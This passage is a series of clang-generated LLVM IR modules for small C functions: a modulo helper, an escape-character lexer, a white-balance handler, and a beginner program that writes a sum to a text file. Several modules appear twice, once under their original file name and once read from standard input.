%47 to i32 %49 = icmp ne i32 %48, 32 br i1 %49, label %50, label %55 50: ; preds = %45 %51 = load ptr, ptr %3, align 8 %52 = load i8, ptr %51, align 1 %53 = zext i8 %52 to i32 %54 = icmp ne i32 %53, 10 br label %55 55: ; preds = %50, %45 %56 = phi i1 [ false, %45 ], [ %54, %50 ] br i1 %56, label %57, label %60 57: ; preds = %55 %58 = load ptr, ptr %3, align 8 %59 = getelementptr inbounds i8, ptr %58, i64 1 store ptr %59, ptr %3, align 8 br label %45, !llvm.loop !6 60: ; preds = %55 %61 = load ptr, ptr %3, align 8 %62 = getelementptr inbounds i8, ptr %61, i64 1 store ptr %62, ptr %3, align 8 %63 = load ptr, ptr %3, align 8 %64 = load i8, ptr %63, align 1 %65 = zext i8 %64 to i32 %66 = icmp eq i32 %65, 10 br i1 %66, label %67, label %70 67: ; preds = %60 %68 = load ptr, ptr %3, align 8 %69 = getelementptr inbounds i8, ptr %68, i64 1 store ptr %69, ptr %3, align 8 br label %70 70: ; preds = %67, %60 br label %71 71: ; preds = %70 %72 = load i32, ptr %5, align 4 %73 = add nsw i32 %72, -1 store i32 %73, ptr %5, align 4 %74 = load i32, ptr %5, align 4 %75 = icmp sge i32 %74, 0 br i1 %75, label %14, label %._crit_edge, !llvm.loop !8 ._crit_edge: ; preds = %71 br label %76 76: ; preds = %._crit_edge, %2 %77 = load ptr, ptr %3, align 8 ret ptr %77 } declare i32 @atoi(ptr noundef) #1 declare i32 @sprintf(ptr noundef, ptr noundef, i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"} !8 = distinct !{!8, !7}
; ModuleID = '/tmp/tmp0qunqcgp.c' source_filename = "/tmp/tmp0qunqcgp.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @modulo(i32 noundef %0, i32 noundef %1) #0 { %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca i32, align 4 store i32 %0, ptr %4, align 4 store i32 %1, ptr %5, align 4 %6 = load i32, ptr %5, align 4 %7 = icmp ne i32 %6, 0 br i1 %7, label %10, label %8 8: ; preds = %2 %9 = load i32, ptr %4, align 4 store i32 %9, ptr %3, align 4 br label %17 10: ; preds = %2 %11 = load i32, ptr %4, align 4 %12 = call i32 @as_int32(i32 noundef %11) %13 = load i32, ptr %5, align 4 %14 = call i32 @as_int32(i32 noundef %13) %15 = srem i32 %12, %14 %16 = call i32 @as_uint32(i32 noundef %15) store i32 %16, ptr %3, align 4 br label %17 17: ; preds = %10, %8 %18 = load i32, ptr %3, align 4 ret i32 %18 } declare i32 @as_uint32(i32 noundef) #1 declare i32 @as_int32(i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp0qunqcgp.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @modulo(i32 noundef %0, i32 noundef %1) #0 { %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca i32, align 4 store i32 %0, ptr %4, align 4 store i32 %1, ptr %5, align 4 %6 = load i32, ptr %5, align 4 %7 = icmp ne i32 %6, 0 br i1 %7, label %10, label %8 8: ; preds = %2 %9 = load i32, ptr %4, align 4 store i32 %9, ptr %3, align 4 br label %17 10: ; preds = %2 %11 = load i32, ptr %4, align 4 %12 = call i32 @as_int32(i32 noundef %11) %13 = load i32, ptr %5, align 4 %14 = call i32 @as_int32(i32 noundef %13) %15 = srem i32 %12, %14 %16 = call i32 @as_uint32(i32 noundef %15) store i32 %16, ptr %3, align 4 br label %17 17: ; preds = %10, %8 %18 = load i32, ptr %3, align 4 ret i32 %18 } declare i32 @as_uint32(i32 noundef) #1 declare i32 @as_int32(i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpvukbnp7i.c' source_filename = "/tmp/tmpvukbnp7i.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local zeroext i8 @LexUnEscapeCharacter(ptr noundef %0, ptr noundef %1) #0 { %3 = alloca i8, align 1 %4 = alloca ptr, align 8 %5 = alloca ptr, align 8 %6 = alloca i8, align 1 store ptr %0, ptr %4, align 8 store ptr %1, ptr %5, align 8 br label %7 7: ; preds = %33, %2 %8 = load ptr, ptr %4, align 8 %9 = load ptr, ptr %8, align 8 %10 = load ptr, ptr %5, align 8 %11 = icmp ne ptr %9, %10 br i1 %11, label %12, label %31 12: ; preds = %7 %13 = load ptr, ptr %4, align 8 %14 = load ptr, ptr %13, align 8 %15 = load i8, ptr %14, align 1 %16 = sext i8 %15 to i32 %17 = icmp eq i32 %16, 92 br i1 %17, label %18, label %31 18: ; preds = %12 %19 = load ptr, ptr %4, align 8 %20 = load ptr, ptr %19, align 8 %21 = getelementptr inbounds i8, ptr %20, i64 1 %22 = load ptr, ptr %5, align 8 %23 = icmp ne ptr %21, %22 br i1 %23, label %24, label %31 24: ; preds = %18 %25 = load ptr, ptr %4, align 8 %26 = load ptr, ptr %25, align 8 %27 = getelementptr inbounds i8, ptr %26, i64 1 %28 = load i8, ptr %27, align 1 %29 = sext i8 %28 to i32 %30 = icmp eq i32 %29, 10 br label %31 31: ; preds = %24, %18, %12, %7 %32 = phi i1 [ false, %18 ], [ false, %12 ], [ false, %7 ], [ %30, %24 ] br i1 %32, label %33, label %37 33: ; preds = %31 %34 = load ptr, ptr %4, align 8 %35 = load ptr, ptr %34, align 8 %36 = getelementptr inbounds i8, ptr %35, i64 2 store ptr %36, ptr %34, align 8 br label %7, !llvm.loop !6 37: ; preds = %31 %38 = load ptr, ptr %4, align 8 %39 = load ptr, ptr %38, align 8 %40 = load ptr, ptr %5, align 8 %41 = icmp eq ptr %39, %40 br i1 %41, label %42, label %43 42: ; preds = %37 store i8 92, ptr %3, align 1 br label %91 43: ; preds = %37 %44 = load ptr, ptr %4, align 8 %45 = load ptr, ptr %44, align 8 %46 = load i8, ptr %45, align 1 %47 = sext i8 %46 to i32 %48 = icmp eq i32 %47, 92 br i1 %48, label %49, label %86 49: ; preds = %43 %50 = load ptr, ptr %4, align 8 %51 = load ptr, ptr %50, align 8 %52 = getelementptr inbounds i8, ptr %51, i32 1 store ptr %52, ptr %50, align 8 %53 = load ptr, ptr %4, align 8 %54 = load ptr, ptr %53, align 8 %55 = load ptr, ptr %5, align 8 %56 = icmp eq ptr %54, %55 br i1 %56, label %57, label %58 57: ; preds = %49 store i8 92, ptr %3, align 1 br label %91 58: ; preds = %49 %59 = load ptr, ptr %4, align 8 %60 = load ptr, ptr %59, align 8 %61 = getelementptr inbounds i8, ptr %60, i32 1 store ptr %61, ptr %59, align 8 %62 = load i8, ptr %60, align 1 store i8 %62, ptr %6, align 1 %63 = load i8, ptr %6, align 1 %64 = zext i8 %63 to i32 switch i32 %64, label %84 [ i32 92, label %65 i32 39, label %66 i32 34, label %67 i32 97, label %68 i32 98, label %69 i32 102, label %70 i32 110, label %71 i32 114, label %72 i32 116, label %73 i32 118, label %74 i32 48, label %75 i32 49, label %75 i32 50, label %75 i32 51, label %75 i32 120, label %80 ] 65: ; preds = %58 store i8 92, ptr %3, align 1 br label %91 66: ; preds = %58 store i8 39, ptr %3, align 1 br label %91 67: ; preds = %58 store i8 34, ptr %3, align 1 br label %91 68: ; preds = %58 store i8 7, ptr %3, align 1 br label %91 69: ; preds = %58 store i8 8, ptr %3, align 1 br label %91 70: ; preds = %58 store i8 12, ptr %3, align 1 br label %91 71: ; preds = %58 store i8 10, ptr %3, align 1 br label %91 72: ; preds = %58 store i8 13, ptr %3, align 1 br label %91 73: ; preds = %58 store i8 9, ptr %3, align 1 br label %91 74: ; preds = %58 store i8 11, ptr %3, align 1 br label %91 75: ; preds = %58, %58, %58, %58 %76 = load ptr, ptr %4, align 8 %77 = load ptr, ptr %5, align 8 %78 = load i8, ptr %6, align 1 %79 = call zeroext i8 @LexUnEscapeCharacterConstant(ptr noundef %76, ptr noundef %77, i8 noundef zeroext %78, i32 noundef 8) store i8 %79, ptr %3, align 1 br label %91 80: ; preds = %58 %81 = load ptr, ptr %4, align 8 %82 = load ptr, ptr %5, align 8 %83 = call zeroext i8 @LexUnEscapeCharacterConstant(ptr noundef %81, ptr noundef %82, i8 noundef zeroext 48, i32 noundef 16) store i8 %83, ptr %3, align 1 br label %91 84: ; preds = %58 %85 = load i8, ptr %6, align 1 store i8 %85, ptr %3, align 1 br label %91 86: ; preds = %43 %87 = load ptr, ptr %4, align 8 %88 = load ptr, ptr %87, align 8 %89 = getelementptr inbounds i8, ptr %88, i32 1 store ptr %89, ptr %87, align 8 %90 = load i8, ptr %88, align 1 store i8 %90, ptr %3, align 1 br label %91 91: ; preds = %86, %84, %80, %75, %74, %73, %72, %71, %70, %69, %68, %67, %66, %65, %57, %42 %92 = load i8, ptr %3, align 1 ret i8 %92 } declare zeroext i8 @LexUnEscapeCharacterConstant(ptr noundef, ptr noundef, i8 noundef zeroext, i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpvukbnp7i.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local zeroext i8 @LexUnEscapeCharacter(ptr noundef %0, ptr noundef %1) #0 { %3 = alloca i8, align 1 %4 = alloca ptr, align 8 %5 = alloca ptr, align 8 %6 = alloca i8, align 1 store ptr %0, ptr %4, align 8 store ptr %1, ptr %5, align 8 br label %7 7: ; preds = %33, %2 %8 = load ptr, ptr %4, align 8 %9 = load ptr, ptr %8, align 8 %10 = load ptr, ptr %5, align 8 %11 = icmp ne ptr %9, %10 br i1 %11, label %12, label %31 12: ; preds = %7 %13 = load ptr, ptr %4, align 8 %14 = load ptr, ptr %13, align 8 %15 = load i8, ptr %14, align 1 %16 = sext i8 %15 to i32 %17 = icmp eq i32 %16, 92 br i1 %17, label %18, label %31 18: ; preds = %12 %19 = load ptr, ptr %4, align 8 %20 = load ptr, ptr %19, align 8 %21 = getelementptr inbounds i8, ptr %20, i64 1 %22 = load ptr, ptr %5, align 8 %23 = icmp ne ptr %21, %22 br i1 %23, label %24, label %31 24: ; preds = %18 %25 = load ptr, ptr %4, align 8 %26 = load ptr, ptr %25, align 8 %27 = getelementptr inbounds i8, ptr %26, i64 1 %28 = load i8, ptr %27, align 1 %29 = sext i8 %28 to i32 %30 = icmp eq i32 %29, 10 br label %31 31: ; preds = %24, %18, %12, %7 %32 = phi i1 [ false, %18 ], [ false, %12 ], [ false, %7 ], [ %30, %24 ] br i1 %32, label %33, label %37 33: ; preds = %31 %34 = load ptr, ptr %4, align 8 %35 = load ptr, ptr %34, align 8 %36 = getelementptr inbounds i8, ptr %35, i64 2 store ptr %36, ptr %34, align 8 br label %7, !llvm.loop !6 37: ; preds = %31 %38 = load ptr, ptr %4, align 8 %39 = load ptr, ptr %38, align 8 %40 = load ptr, ptr %5, align 8 %41 = icmp eq ptr %39, %40 br i1 %41, label %42, label %43 42: ; preds = %37 store i8 92, ptr %3, align 1 br label %91 43: ; preds = %37 %44 = load ptr, ptr %4, align 8 %45 = load ptr, ptr %44, align 8 %46 = load i8, ptr %45, align 1 %47 = sext i8 %46 to i32 %48 = icmp eq i32 %47, 92 br i1 %48, label %49, label %86 49: ; preds = %43 %50 = load ptr, ptr %4, align 8 %51 = load ptr, ptr %50, align 8 %52 = getelementptr inbounds i8, ptr %51, i32 1 store ptr %52, ptr %50, align 8 %53 = load ptr, ptr %4, align 8 %54 = load ptr, ptr %53, align 8 %55 = load ptr, ptr %5, align 8 %56 = icmp eq ptr %54, %55 br i1 %56, label %57, label %58 57: ; preds = %49 store i8 92, ptr %3, align 1 br label %91 58: ; preds = %49 %59 = load ptr, ptr %4, align 8 %60 = load ptr, ptr %59, align 8 %61 = getelementptr inbounds i8, ptr %60, i32 1 store ptr %61, ptr %59, align 8 %62 = load i8, ptr %60, align 1 store i8 %62, ptr %6, align 1 %63 = load i8, ptr %6, align 1 %64 = zext i8 %63 to i32 switch i32 %64, label %84 [ i32 92, label %65 i32 39, label %66 i32 34, label %67 i32 97, label %68 i32 98, label %69 i32 102, label %70 i32 110, label %71 i32 114, label %72 i32 116, label %73 i32 118, label %74 i32 48, label %75 i32 49, label %75 i32 50, label %75 i32 51, label %75 i32 120, label %80 ] 65: ; preds = %58 store i8 92, ptr %3, align 1 br label %91 66: ; preds = %58 store i8 39, ptr %3, align 1 br label %91 67: ; preds = %58 store i8 34, ptr %3, align 1 br label %91 68: ; preds = %58 store i8 7, ptr %3, align 1 br label %91 69: ; preds = %58 store i8 8, ptr %3, align 1 br label %91 70: ; preds = %58 store i8 12, ptr %3, align 1 br label %91 71: ; preds = %58 store i8 10, ptr %3, align 1 br label %91 72: ; preds = %58 store i8 13, ptr %3, align 1 br label %91 73: ; preds = %58 store i8 9, ptr %3, align 1 br label %91 74: ; preds = %58 store i8 11, ptr %3, align 1 br label %91 75: ; preds = %58, %58, %58, %58 %76 = load ptr, ptr %4, align 8 %77 = load ptr, ptr %5, align 8 %78 = load i8, ptr %6, align 1 %79 = call zeroext i8 @LexUnEscapeCharacterConstant(ptr noundef %76, ptr noundef %77, i8 noundef zeroext %78, i32 noundef 8) store i8 %79, ptr %3, align 1 br label %91 80: ; preds = %58 %81 = load ptr, ptr %4, align 8 %82 = load ptr, ptr %5, align 8 %83 = call zeroext i8 @LexUnEscapeCharacterConstant(ptr noundef %81, ptr noundef %82, i8 noundef zeroext 48, i32 noundef 16) store i8 %83, ptr %3, align 1 br label %91 84: ; preds = %58 %85 = load i8, ptr %6, align 1 store i8 %85, ptr %3, align 1 br label %91 86: ; preds = %43 %87 = load ptr, ptr %4, align 8 %88 = load ptr, ptr %87, align 8 %89 = getelementptr inbounds i8, ptr %88, i32 1 store ptr %89, ptr %87, align 8 %90 = load i8, ptr %88, align 1 store i8 %90, ptr %3, align 1 br label %91 91: ; preds = %86, %84, %80, %75, %74, %73, %72, %71, %70, %69, %68, %67, %66, %65, %57, %42 %92 = load i8, ptr %3, align 1 ret i8 %92 } declare zeroext i8 @LexUnEscapeCharacterConstant(ptr noundef, ptr noundef, i8 noundef zeroext, i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '/tmp/tmpvlvdcg17.c' source_filename = "/tmp/tmpvlvdcg17.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [38 x i8] c"%s: Invalid white_balance_adjustment\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @process_wbadj(ptr noundef %0, i8 noundef signext %1, i64 noundef %2, ptr noundef %3, ptr noundef %4) #0 { %6 = alloca ptr, align 8 %7 = alloca i8, align 1 %8 = alloca i64, align 8 %9 = alloca ptr, align 8 %10 = alloca ptr, align 8 store ptr %0, ptr %6, align 8 store i8 %1, ptr %7, align 1 store i64 %2, ptr %8, align 8 store ptr %3, ptr %9, align 8 store ptr %4, ptr %10, align 8 %11 = load i8, ptr %7, align 1 %12 = sext i8 %11 to i32 %13 = icmp eq i32 %12, 77 br i1 %13, label %14, label %18 14: ; preds = %5 %15 = load i64, ptr %8, align 8 %16 = sub nsw i64 7, %15 %17 = load ptr, ptr %9, align 8 store i64 %16, ptr %17, align 8 br label %48 18: ; preds = %5 %19 = load i8, ptr %7, align 1 %20 = sext i8 %19 to i32 %21 = icmp eq i32 %20, 71 br i1 %21, label %22, label %26 22: ; preds = %18 %23 = load i64, ptr %8, align 8 %24 = add nsw i64 7, %23 %25 = load ptr, ptr %9, align 8 store i64 %24, ptr %25, align 8 br label %47 26: ; preds = %18 %27 = load i8, ptr %7, align 1 %28 = sext i8 %27 to i32 %29 = icmp eq i32 %28, 66 br i1 %29, label %30, label %34 30: ; preds = %26 %31 = load i64, ptr %8, align 8 %32 = sub nsw i64 7, %31 %33 = load ptr, ptr %10, align 8 store i64 %32, ptr %33, align 8 br label %46 34: ; preds = %26 %35 = load i8, ptr %7, align 1 %36 = sext i8 %35 to i32 %37 = icmp eq i32 %36, 65 br i1 %37, label %38, label %42 38: ; preds = %34 %39 = load i64, ptr %8, align 8 %40 = add nsw i64 7, %39 %41 = load ptr, ptr %10, align 8 store i64 %40, ptr %41, align 8 br label %45 42: ; preds = %34 %43 = load ptr, ptr %6, align 8 %44 = call i32 @warning_message(ptr noundef @.str, ptr noundef %43) br label %45 45: ; preds = %42, %38 br label %46 46: ; preds = %45, %30 br label %47 47: ; preds = %46, %22 br label %48 48: ; preds = %47, %14 ret void } declare i32 @warning_message(ptr noundef, ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpvlvdcg17.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [38 x i8] c"%s: Invalid white_balance_adjustment\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @process_wbadj(ptr noundef %0, i8 noundef signext %1, i64 noundef %2, ptr noundef %3, ptr noundef %4) #0 { %6 = alloca ptr, align 8 %7 = alloca i8, align 1 %8 = alloca i64, align 8 %9 = alloca ptr, align 8 %10 = alloca ptr, align 8 store ptr %0, ptr %6, align 8 store i8 %1, ptr %7, align 1 store i64 %2, ptr %8, align 8 store ptr %3, ptr %9, align 8 store ptr %4, ptr %10, align 8 %11 = load i8, ptr %7, align 1 %12 = sext i8 %11 to i32 %13 = icmp eq i32 %12, 77 br i1 %13, label %14, label %18 14: ; preds = %5 %15 = load i64, ptr %8, align 8 %16 = sub nsw i64 7, %15 %17 = load ptr, ptr %9, align 8 store i64 %16, ptr %17, align 8 br label %48 18: ; preds = %5 %19 = load i8, ptr %7, align 1 %20 = sext i8 %19 to i32 %21 = icmp eq i32 %20, 71 br i1 %21, label %22, label %26 22: ; preds = %18 %23 = load i64, ptr %8, align 8 %24 = add nsw i64 7, %23 %25 = load ptr, ptr %9, align 8 store i64 %24, ptr %25, align 8 br label %47 26: ; preds = %18 %27 = load i8, ptr %7, align 1 %28 = sext i8 %27 to i32 %29 = icmp eq i32 %28, 66 br i1 %29, label %30, label %34 30: ; preds = %26 %31 = load i64, ptr %8, align 8 %32 = sub nsw i64 7, %31 %33 = load ptr, ptr %10, align 8 store i64 %32, ptr %33, align 8 br label %46 34: ; preds = %26 %35 = load i8, ptr %7, align 1 %36 = sext i8 %35 to i32 %37 = icmp eq i32 %36, 65 br i1 %37, label %38, label %42 38: ; preds = %34 %39 = load i64, ptr %8, align 8 %40 = add nsw i64 7, %39 %41 = load ptr, ptr %10, align 8 store i64 %40, ptr %41, align 8 br label %45 42: ; preds = %34 %43 = load ptr, ptr %6, align 8 %44 = call i32 @warning_message(ptr noundef @.str, ptr noundef %43) br label %45 45: ; preds = %42, %38 br label %46 46: ; preds = %45, %30 br label %47 47: ; preds = %46, %22 br label %48 48: ; preds = %47, %14 ret void } declare i32 @warning_message(ptr noundef, ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpj6_s9smd.c' source_filename = "/tmp/tmpj6_s9smd.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [9 x i8] c"SOMA.txt\00", align 1 @.str.1 = private unnamed_addr constant [3 x i8] c"wt\00", align 1 @.str.2 = private unnamed_addr constant [3 x i8] c"rt\00", align 1 @.str.3 = private unnamed_addr constant [35 x i8] c"Houve um erro ao abrir o arquivo.\0A\00", align 1 @.str.4 = private unnamed_addr constant [3 x i8] c"%d\00", align 1 @EOF = dso_local global i32 0, align 4 @.str.5 = private unnamed_addr constant [18 x i8] c"erro na grava\C3\A7\C3\A3\00", align 1 @.str.6 = private unnamed_addr constant [35 x i8] c"Arquivo soma criado com sucesso.\0A \00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca ptr, align 8 %3 = alloca ptr, align 8 %4 = alloca i32, align 4 %5 = alloca i32, align 4 %6 = alloca i32, align 4 %7 = alloca i32, align 4 %8 = alloca i32, align 4 store i32 0, ptr %1, align 4 %9 = call ptr @fopen(ptr noundef @.str, ptr noundef @.str.1) store ptr %9, ptr %2, align 8 %10 = call ptr @fopen(ptr noundef @.str, ptr noundef @.str.2) store ptr %10, ptr %3, align 8 store i32 2, ptr %5, align 4 store i32 3, ptr %6, align 4 %11 = load i32, ptr %5, align 4 %12 = load i32, ptr %6, align 4 %13 = add nsw i32 %11, %12 store i32 %13, ptr %7, align 4 %14 = load i32, ptr %7, align 4 store i32 %14, ptr %8, align 4 %15 = load ptr, ptr %2, align 8 %16 = icmp eq ptr %15, null br i1 %16, label %17, label %19 17: ; preds = %0 %18 = call i32 @printf(ptr noundef @.str.3) store i32 1, ptr %1, align 4 br label %34 19: ; preds = %0 %20 = load ptr, ptr %2, align 8 %21 = load i32, ptr %7, align 4 %22 = call i32 @fprintf(ptr noundef %20, ptr noundef @.str.4, i32 noundef %21) store i32 %22, ptr %4, align 4 %23 = load i32, ptr %4, align 4 %24 = load i32, ptr @EOF, align 4 %25 = icmp eq i32 %23, %24 br i1 %25, label %26, label %28 26: ; preds = %19 %27 = call i32 @printf(ptr noundef @.str.5) br label %28 28: ; preds = %26, %19 %29 = load ptr, ptr %3, align 8 %30 = call i32 @fscanf(ptr noundef %29, ptr noundef @.str.4, ptr noundef %8) %31 = call i32 @printf(ptr noundef @.str.6) %32 = load ptr, ptr %2, align 8 %33 = call i32 @fclose(ptr noundef %32) store i32 0, ptr %1, align 4 br label %34 34: ; preds = %28, %17 %35 = load i32, ptr %1, align 4 ret i32 %35 } declare ptr @fopen(ptr noundef, ptr noundef) #1 declare i32 @printf(ptr noundef) #1 declare i32 @fprintf(ptr noundef, ptr noundef, i32 noundef) #1 declare i32 @fscanf(ptr noundef, ptr noundef, ptr noundef) #1 declare i32 @fclose(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
